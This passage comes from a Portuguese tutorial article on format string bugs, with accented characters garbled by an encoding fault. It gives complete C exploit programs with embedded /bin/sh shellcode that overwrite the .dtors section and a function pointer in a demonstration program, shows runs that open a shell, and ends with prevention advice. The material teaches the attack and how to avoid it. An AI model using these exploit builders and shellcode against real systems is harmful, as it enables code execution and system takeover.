O objectivo da explora��o � substituir o endere�o de uma fun��o destas sec��es pelo de uma fun��o que queremos executar. Se as sec��es est�o vazias, s� se tem de sobrepor o endere�o 0x00000000 que indica o fim da sec��o. Isto dar� uma segmentation fault pois o programa n�o encontrar� este endere�o 0x00000000, e tomar� como pr�ximo valor o endere�o de uma fun��o o que provavelmente n�o � verdade.

De facto, a �nica sec��o de interesse � a sec��o do destrutor (.dtors): n�o temos tempo de fazer alguma coisa antes da sec��o do construtor (.ctors). Geralmente, � suficiente sobrepor o endere�o em 4 bytes ap�s o inicio da sec��o (o 0xffffffff):

Voltemos ao nosso exemplo. Substitu�mos o 0x00000000 na sec��o .dtors, residente em 0x8049848=0x8049844+4, com o endere�o da fun��o accesForbidden(), j� conhecido (0x8048664):

>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)

Tudo corre bem, o main(), o helloWorld() e depois sai. O destrutor � logo chamado. A sec��o .dtors � iniciada com o endere�o de accesForbidden(). Depois visto que n�o existe num endere�o real de uma fun��o, o esperado coredump ("cad�ver") acontece.

Por favor, D�em-me a linha de comandos

Vimos pequenas explora��es aqui. Usando o mesmo principio, podemos obter uma linha de comandos, quer passando o c�digo da shell atrav�s do argv[] ou atrav�s de uma vari�vel de ambiente ao programa vulner�vel. S� temos de definir o endere�o correcto (por exemplo: o endere�o da eggshell) na sec��o .dtors.

At� agora, sabemos:

Contudo, na realidade, o programa vulner�vel n�o � t�o simp�tico com o exemplo anterior. Introduziremos um m�todo que nos permitir� p�r o c�digo da shell na mem�ria e devolver o seu endere�o exacto (o que significa que n�o � adicionado mais nenhum NOP ao principio do c�digo da shell).

A ideia baseia-se em chamadas recursivas � fun��o exec*():

/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;

  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;
  
  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0) 
    exit(0);
  execve(argv[0], arg, env);
}
A entrada � um inteiro nb o qual o programa chamar� recursivamente a si pr�prio nb+1 vezes:
>>./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

Verificamos imediatamente que os endere�os alocados para o arg e argv n�o se alteram mais ap�s a segunda chamada. Vamos utilizar esta propriedade na nossa explora��o. S� temos de modificar ligeiramente o nosso programa build de maneira a que se chame a si pr�prio antes de chamar o vuln. Ent�o, obtemos o endere�o exacto de argv e o do nosso c�digo da shell.:

/* build2.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Same function as in build.c
}

int
main(int argc, char **argv) {
  
  char *buf;
  char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc < 3)
    return EXIT_FAILURE;

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* adresse */
        argv[2],
        atoi(argv[4]));              /* offset */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}

O truque � que n�s sabemos o que chamar segundo o n�mero de argumentos que o programa recebeu. Para iniciar a nossa explora��o, damos somente ao build2 o endere�o para o qual queremos escrever e o comprimento. J� n�o temos de dar mais o valor visto que � avaliado nas chamadas sucessivas.

Para termos sucesso, precisamos de montar a mesma estrutura da mem�ria nas diferentes chamadas do build2 e depois do vuln (� por isso que chamamos a fun��o build(), no sentido de utilizar a mesma impress�o digital da mem�ria):

>>./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

Porque � que isto n�o trabalha? Dissemos que t�nhamos de construir a c�pia exacta da mem�ria entre as duas chamadas ... e n�o o fizemos! O argv[0] (o nome do programa) alterou-se. O nosso programa � primeiro chamado build2 (6 bytes) e depois o vuln (4 bytes). Existe uma diferen�a de 2 bytes, o que � exactamente o valor que pode reparar no exemplo acima. O endere�o do c�digo da shell durante a segunda chamada do build2 � dado por sc=0xbffff88f mas o conte�do do argv[2] no vuln d� 20xbffff891: os nossos 2 bytes. Para resolver isto, basta renomear o nosso build2 para somente 4 letras, por exemplo bui2:

>>cp build2 bui2
>>./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$ 

Ganh�mos Novamente : Trabalha muito melhor deste modo ;-) O eggshell est� na pilha e alter�mos o endere�o apontado por ptrf para o novo c�digo da shell. Claro, que s� pode acontecer se a pilha for execut�vel.

Mas vimos que a formata��o de strings permitem-nos escrever em qualquer s�tio: adicionemos um destruidor ao nosso programa na sec��o .dtors:

>>objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
80498c0 ffffffff 00000000                    ........        
>>./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[ÆÄ%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[ÆÄ%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [ÆÄ000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
>>

Aqui, n�o � criado nenhum coredump ao sair do destruidor. Isto deve-se ao facto do c�digo da shell conter uma chamada exit(0).

Em conclus�o, como �ltimo presente, aqui est� o build3.c que tamb�m d� a shell, mas passado de uma vari�vel de ambiente:

/* build3.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Même fonction que dans build.c
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else 
  if(argc==2) {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
        environ[0],
        atoi(environ[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }
    
  return 0;
}

Mais uma vez, visto que este ambiente est� na pilha, precisamos de ter cuidado para n�o modificar a mem�ria (por exemplo alternando a posi��o das vari�veis e dos argumentos) O nome bin�rio deve ter o mesmo n�mero de caracteres que o nome do programa vulner�vel vuln tem.

Aqui, escolhemos utilizar a vari�vel extern char **environ para definir os valores que precisamos:

  1. environ[0]: cont�m o c�digo da shell;
  2. environ[1]: cont�m o endere�o onde esperamos escrever;
  3. environ[2]: cont�m o comprimento.
Deixamo-lo, a jogar com ... este (longo) artigo j� muito preenchido com muito c�digo e programas de teste.

Conclus�o : Como evitar bugs de formata��o ?

Como mostrado no artigo, o principal problema com este bug prov�m da liberdade dada ao utilizador para construir a sua pr�pria string de formata��o. A solu��o para evitar tal falha � simples: Nunca deixe um utilizador fornecer a seu pr�pria string de formata��o! Muitas vezes isto simplesmente significa inserir uma string "%s" quando fun��es como o printf(), o syslog(), ..., s�o chamadas. Se realmente n�o conseguir evitar isto, ent�o tem de verificar cuidadosamente todas as entradas dadas pelo utilizador muito cuidadosamente.

Agradecimentos

Os autores agradecem a Pascal Kalou Bouchareine pela sua paci�ncia (ele teve de encontrar porque � que a nossa explora��o com o c�digo da shell na pilha n�o funcionava ... e tamb�m o porqu� desta mesma pilha n�o estar execut�vel), suas ideias (mais particularmente pelo truque exec*()), pelos seus encorajamentos ... mas tamb�m pelo seu artigo acerca de bugs de formata��o o qual causou, em adi��o ao nosso interesse na quest�o, uma intensa agita��o cerebral ;-)

Links


Notas de Rodap�

... commands1
a palavra command significa aqui tudo o que afecta a formata��o de strings: o tamanho, a precis�o, ...
... bytes2
o -1 prov�m do �ltimo caracter reservado para o '\0'.